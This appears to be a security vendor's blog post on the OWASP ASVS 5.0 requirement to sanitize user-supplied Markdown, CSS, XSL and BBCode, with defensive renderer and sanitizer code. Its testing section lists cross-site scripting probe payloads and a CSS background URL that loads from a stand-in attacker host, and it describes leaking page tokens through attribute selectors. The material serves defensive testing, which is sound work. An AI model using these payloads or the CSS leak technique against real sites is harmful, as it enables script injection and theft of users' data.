Safeguard
Application Security•

ASVS 5.0 V1.3.5: Sanitize Markdown, CSS and Template Content

ASVS V1.3.5 requires sanitizing or disabling user supplied Markdown, CSS, XSL and BBCode. See safe renderer settings and tests for each format.

Safeguard Security Team
3 min read

ASVS 5.0 V1.3.5 (Level 2) requires that the application sanitizes or disables user supplied scriptable or expression based content, such as Markdown, CSS, XSL stylesheets and BBCode. These formats look like plain text features but can carry raw HTML, remote loads or code execution.

Why it matters

Markdown allows inline HTML in many renderers, so a comment containing a script tag survives conversion. User supplied CSS can leak data through attribute selectors and background URLs, and can overlay fake login forms. XSLT stylesheets can read files and call extension functions in some processors. BBCode parsers often build links from user values without checking the scheme.

How to implement it

Treat the renderer's output as untrusted HTML and sanitize that output, and turn off every feature you do not need.

import { marked } from 'marked';
import DOMPurify from 'dompurify';

const html = marked.parse(userMarkdown, { gfm: true, breaks: false });
const safe = DOMPurify.sanitize(html, { USE_PROFILES: { html: true } });
import markdown_it, nh3

md = markdown_it.MarkdownIt("commonmark", {"html": False})   # raw HTML disabled
safe = nh3.clean(md.render(user_markdown))

For CSS, do not accept free form stylesheets. Offer a set of theme choices or a few validated properties. For XSL, do not run user stylesheets, and if you must, use a processor with extensions and file access disabled. For BBCode, restrict URLs to http and https.

How to test it

Submit Markdown containing <script>alert(1)</script>, [x](javascript:alert(1)) and ![x](x" onerror="alert(1)). Submit CSS with background:url(https://attacker.example/?x). Rendered output must contain no script, no event handlers and no external loads.

Common mistakes

  • Sanitizing the Markdown source instead of the HTML output.
  • Leaving raw HTML on because "our users are trusted".
  • Allowing style attributes in the sanitizer allowlist.

Where this goes wrong in practice

A documentation or comments feature adds Markdown because it is friendly, and the renderer's default allows raw HTML. Months later, someone posts a comment with an image tag carrying an event handler, and every reader of the thread runs it. The Markdown specification allows inline HTML, so this is expected behavior, not a bug in the library. The fix is in your configuration and in sanitizing the output.

Themes and custom CSS features have a quieter version of the problem. Attribute selectors combined with background URLs can send one character at a time of a page's token to an attacker's server. If you offer styling, expose a small list of properties, validate values against a pattern, and generate the CSS on the server.

Also review wiki style features that accept template tags or macros. They are a scripting language by another name, and they need the same treatment as any other expression language.

Quick check

Where do you sanitize Markdown?

On the generated HTML, after rendering, since that is what the browser will interpret.

Sources

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.

Self-healing security runs on Safeguard.

Your first fix PR is minutes away.

No sales call required, even your agent can complete the purchase over MCP.